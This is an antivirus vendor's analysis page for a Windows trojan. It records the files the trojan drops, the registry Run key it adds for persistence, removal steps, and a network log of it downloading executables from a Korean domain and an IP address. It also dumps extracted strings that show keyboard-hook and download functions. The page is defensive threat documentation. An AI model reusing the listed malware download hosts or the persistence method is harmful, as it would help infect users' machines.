Trojan.Generic.14789717_b82273a7cd – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:1476

Mutexes

The following mutexes were created/opened:

ShimCacheMutex

File activity

The process %original file name%.exe:1476 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\DOODOOALBUM\gdiplus.dll (13284 bytes)
C:\DOODOOALBUM\DooDooTrNew.exe (32141 bytes)
C:\DOODOOALBUM\udoodoodam.exe (6741 bytes)

Registry activity

The process %original file name%.exe:1476 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F 38 D4 CB E5 24 D5 50 7D B3 C1 33 99 F2 B0 E7"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ãƒâ€šÃ‚ÂµÃƒÆ’Ã…Â½Ãƒâ€šÃ‚ÂµÃƒÆ’Ã…Â½Ãƒâ€šÃ‚Â¾ÃƒÆ’Ã¢â€žÂ¢Ãƒâ€šÃ‚Â¹ÃƒÆ’Ã‚Â¼Ãƒâ€šÃ‚Â·Ãƒâ€šÃ‚Â±ÃƒÆ’Ã†â€™Ãƒâ€šÃ‚Â³" = "C:\DOODOOALBUM\udoodoodam.exe"

Dropped PE files

MD5	File path
cd66e2167c86a8b447b77a044ef27d64	c:\DOODOOALBUM\DooDooTrNew.exe
3317698f2090dd811f0aa93190e13c82	c:\DOODOOALBUM\gdiplus.dll
f92c744e670e52e8791a8b24d3c329d0	c:\DOODOOALBUM\udoodoodam.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\DOODOOALBUM\gdiplus.dll (13284 bytes)
C:\DOODOOALBUM\DooDooTrNew.exe (32141 bytes)
C:\DOODOOALBUM\udoodoodam.exe (6741 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ãƒâ€šÃ‚ÂµÃƒÆ’Ã…Â½Ãƒâ€šÃ‚ÂµÃƒÆ’Ã…Â½Ãƒâ€šÃ‚Â¾ÃƒÆ’Ã¢â€žÂ¢Ãƒâ€šÃ‚Â¹ÃƒÆ’Ã‚Â¼Ãƒâ€šÃ‚Â·Ãƒâ€šÃ‚Â±ÃƒÆ’Ã†â€™Ãƒâ€šÃ‚Â³" = "C:\DOODOOALBUM\udoodoodam.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
CODE	4096	667648	229888	5.54455	50e91f1b8470be544cfadb93d10c447f
.rsrc	671744	12288	10752	4.17009	977038b9cec517446fa3176a40ca4f9a

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://116.122.39.174/software/gdiplus.dll
hxxp://www.doodooalbum.co.kr/software/gdiplus.dll
hxxp://www.doodooalbum.co.kr/software/DooDooTrNew.exe

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /software/DooDooTrNew.exe HTTP/1.1

Content-Type: text/html

Host: VVV.doodooalbum.co.kr

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Length: 3777024

Content-Type: application/octet-stream

Last-Modified: Thu, 02 Apr 2015 06:01:34 GMT

Accept-Ranges: bytes

ETag: "16f18a79a6dd01:ef2"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

P3P: CP="CAO PSA CONi OTR OUR DEM ONL"

Date: Sun, 30 Aug 2015 02:02:19 GMT

MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................&.........d.'.......'...@...........................<..................@...........................`-..5..../..T....................-.t.............................-.....................................................CODE....l.&.......&................. ..`DATA.....J....'..L....&.............@...BSS.....!....`*......H*..................idata...5...`-..6...H*.............@....tls....$.....-......~*..................rdata........-......~*.............@..P.reloc..t.....-.......*.............@..P.rsrc....T..../..T...N,.............@..P..............<.......9.............@..P..................................................................................................................................................................@...Boolean...........@..False.True.@.,.@...Char..........@.@...Smallint..........X.@...Integer...........p.@...Byte............@...Word............@...Cardinal............@...Single..@...@...Double..@...@...Currency....@...WordBool...........@..False.True....@...String..@...WideString$.@...Variant.@.4.@...OleVariant..@...............................@..........B@..B@..B@..B@..B@..?@..@@.P@@..TObject..@...TObject..@........System....@...IInterface....................F.System......@...IDispatch..@....

<<< skipped >>>

GET /software/gdiplus.dll HTTP/1.1

Content-Type: text/html

Host: VVV.doodooalbum.co.kr

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Length: 1706800

Content-Type: application/x-msdownload

Last-Modified: Fri, 21 Jun 2013 06:53:25 GMT

Accept-Ranges: bytes

ETag: "e2f1ef64c6ece1:ef2"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

P3P: CP="CAO PSA CONi OTR OUR DEM ONL"

Date: Sun, 30 Aug 2015 02:02:05 GMT

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9=..XS..XS..XS.r{J..XS..XR..YS.r{...XS.R{O.GXS.r{l..XS..{...XS.R{N..YS.r{n..XS.Rich.XS.........PE..L...5.};...........!.........`.....................p................................................................@j..CN...w..x....`..................0.......|s......8.......................................|.......,............................text...P........................... ..`.data...\...........................@...Shared.......P.......@..............@....rsrc........`... ...P..............@..@.reloc..|s...........p..............@..B..};8.....};E.....};O.....};Z.....};d.....};n...........KERNEL32.dll.NTDLL.DLL.USER32.dll.GDI32.dll.ole32.dll.ADVAPI32.dll......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1476:

`.rsrc

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

USER32.DLL

comctl32.dll

uxtheme.dll

MAPI32.DLL

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeyword

crSQLWait

%s (%s)

imm32.dll

AutoHotkeysh'D

Bitmap|%D

AutoHotkeys

Uh.BD

Uh.KD

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview\.D

WindowState

OnKeyDown`

OnKeyPress

OnKeyUp8

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

ole32.dll

olepro32.dll

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

WS2_32.DLL

127.0.0.1

TIdSocketListWindows

TIdStackWindowsU

IdStackWindows

%s, %d %s %d %s %s

TIdEncoder3to4$%F

password

Password

IdHTTPHeaderInfo

ProxyPassword

ProxyPort

Mozilla/3.0 (compatible; Indy Library)

ftpTransfer

ftpReady

ftpAborted

ClientPortMin

ClientPortMax

PortH^F

EIdCanNotBindPortInRange

EIdInvalidPortRangeSVW

libeay32.dll

ssleay32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

des_set_key

saUsernamePassword

Password

Port

0.0.0.1

TIdTCPConnection

IdTCPConnection

EIdTCPConnectionError

sslvrfFailIfNoPeerCert

TPasswordEvent

Certificate

RootCertFile

CertFile

KeyFile

OnGetPasswordD

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

TIdTCPClient

TIdTCPClient(

IdTCPClient

BoundPort

PortU

CommentURL

TIdHTTPMethod

IdHTTP

TIdHTTPOption

TIdHTTPOptions

TIdHTTPProtocolVersion

IdHTTP(

TIdHTTPOnRedirectEvent

TIdHTTPResponse

TIdHTTPRequest

TIdHTTPProtocol

TIdCustomHTTP

TIdHTTP

HTTPOptions$

EIdHTTPProtocolException

HTTPS

https

This request method is supported in HTTP 1.1

HTTP/1.0 200 OK

HTTP/

Uh.RG

VVV.doodooalbum.co.kr/software/test.asp

test.asp?

C:\DOODOOALBUM

DooDooTrNew.exe

udoodoodam.exe

hXXp://VVV.doodooalbum.co.kr/software/

gdiplus.dll

\udoodoodam.exe

\Software\Microsoft\Windows\CurrentVersion\Run

?456789:;

!"#$%&'()* ,-./0123

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

RegFlushKey

RegCreateKeyExA

WinExec

GetCPInfo

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

Oebhttp

KWindows

UrlMon

0IdHTTPHeaderInfo

IdTCPServer

IdTCPStream

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

hXXp://VVV.doodooalbum.co.kr/software/testclo.asp

JPEG error #%d

Command not supported.

Address type not supported.$Error accepting connection with SSL.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

SSL status: "%s"

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Operation would block.

Operation now in progress.

Operation already in progress.

Socket operation on non-socket.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)

Resolving hostname %s.

Connecting to %s.

Chunk StartedDThis authentication method is already registered with class name %s.

%s is not a valid service.

Socket Error # %d

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.

File "%s" not found1Only one TIdAntiFreeze can exist per application.

No data to read.$Can not bind in port range (%d - %d)

Invalid Port Range (%d - %d)

No help keyword specified.

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

No help found for %s#No context-sensitive help installed$No topic-based help system installed

Alt Clipboard does not support Icons/Menu '%s' is already being used by another form

!Control '%s' has no parent window

Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic

Unsupported clipboard format

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid property value List capacity out of bounds (%d)

List count out of bounds (%d)

Ancestor for '%s' not found

Cannot assign a %s to a %s

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

%original file name%.exe_1476_rwx_00401000_000A3000:

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

USER32.DLL

comctl32.dll

uxtheme.dll

MAPI32.DLL

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeyword

crSQLWait

%s (%s)

imm32.dll

AutoHotkeysh'D

Bitmap|%D

AutoHotkeys

Uh.BD

Uh.KD

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview\.D

WindowState

OnKeyDown`

OnKeyPress

OnKeyUp8

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

ole32.dll

olepro32.dll

getservbyport

WSAAsyncGetServByPort

WSAJoinLeaf

WS2_32.DLL

127.0.0.1

TIdSocketListWindows

TIdStackWindowsU

IdStackWindows

%s, %d %s %d %s %s

TIdEncoder3to4$%F

password

Password

IdHTTPHeaderInfo

ProxyPassword

ProxyPort

Mozilla/3.0 (compatible; Indy Library)

ftpTransfer

ftpReady

ftpAborted

ClientPortMin

ClientPortMax

PortH^F

EIdCanNotBindPortInRange

EIdInvalidPortRangeSVW

libeay32.dll

ssleay32.dll

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_certificate_file

SSL_get_peer_certificate

SSL_CTX_set_default_passwd_cb

SSL_CTX_set_default_passwd_cb_userdata

SSL_CTX_check_private_key

X509_STORE_CTX_get_current_cert

des_set_key

saUsernamePassword

Password

Port

0.0.0.1

TIdTCPConnection

IdTCPConnection

EIdTCPConnectionError

sslvrfFailIfNoPeerCert

TPasswordEvent

Certificate

RootCertFile

CertFile

KeyFile

OnGetPasswordD

EIdOSSLLoadingRootCertError

EIdOSSLLoadingCertError

EIdOSSLLoadingKeyError

TIdTCPClient

TIdTCPClient(

IdTCPClient

BoundPort

PortU

CommentURL

TIdHTTPMethod

IdHTTP

TIdHTTPOption

TIdHTTPOptions

TIdHTTPProtocolVersion

IdHTTP(

TIdHTTPOnRedirectEvent

TIdHTTPResponse

TIdHTTPRequest

TIdHTTPProtocol

TIdCustomHTTP

TIdHTTP

HTTPOptions$

EIdHTTPProtocolException

HTTPS

https

This request method is supported in HTTP 1.1

HTTP/1.0 200 OK

HTTP/

Uh.RG

VVV.doodooalbum.co.kr/software/test.asp

test.asp?

C:\DOODOOALBUM

DooDooTrNew.exe

udoodoodam.exe

hXXp://VVV.doodooalbum.co.kr/software/

gdiplus.dll

\udoodoodam.exe

\Software\Microsoft\Windows\CurrentVersion\Run

?456789:;

!"#$%&'()* ,-./0123

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

RegFlushKey

RegCreateKeyExA

WinExec

GetCPInfo

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

Oebhttp

KWindows

UrlMon

0IdHTTPHeaderInfo

IdTCPServer

IdTCPStream

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

hXXp://VVV.doodooalbum.co.kr/software/testclo.asp

JPEG error #%d

Command not supported.

Address type not supported.$Error accepting connection with SSL.

Error creating SSL context. Could not load root certificate.

Could not load certificate.#Could not load key, check password.

SSL status: "%s"

Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.

Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.

Operation would block.

Operation now in progress.

Operation already in progress.

Socket operation on non-socket.

Protocol not supported.

Socket type not supported."Operation not supported on socket.

Protocol family not supported.0Address family not supported by protocol family.

*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)

Resolving hostname %s.

Connecting to %s.

Chunk StartedDThis authentication method is already registered with class name %s.

%s is not a valid service.

Socket Error # %d

Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.4Failed attempting to retrieve time zone information.

File "%s" not found1Only one TIdAntiFreeze can exist per application.

No data to read.$Can not bind in port range (%d - %d)

Invalid Port Range (%d - %d)

No help keyword specified.

OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

OLE control activation failed*Could not obtain OLE control window handle%License information for %s is invalidPLicense information for %s not found. You cannot use this control in design modeNUnable to retrieve a pointer to a running object registered with OLE for %s/%s

No help found for %s#No context-sensitive help installed$No topic-based help system installed

Alt Clipboard does not support Icons/Menu '%s' is already being used by another form

!Control '%s' has no parent window

Scan line index out of range!Cannot change the size of an icon Invalid operation on TOleGraphic

Unsupported clipboard format

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid property value List capacity out of bounds (%d)

List count out of bounds (%d)

Ancestor for '%s' not found

Cannot assign a %s to a %s

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

%original file name%.exe_1476_rwx_004A5000_00002000:

kernel32.dll

user32.dll

GetKeyboardType

advapi32.dll

oleaut32.dll

version.dll

gdi32.dll

ole32.dll

comctl32.dll

%original file name%.exe_1476_rwx_00920000_00003000:

The procedure %s could not be located in the DLL %s.

The ordinal %d could not be located in the DLL %s.

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps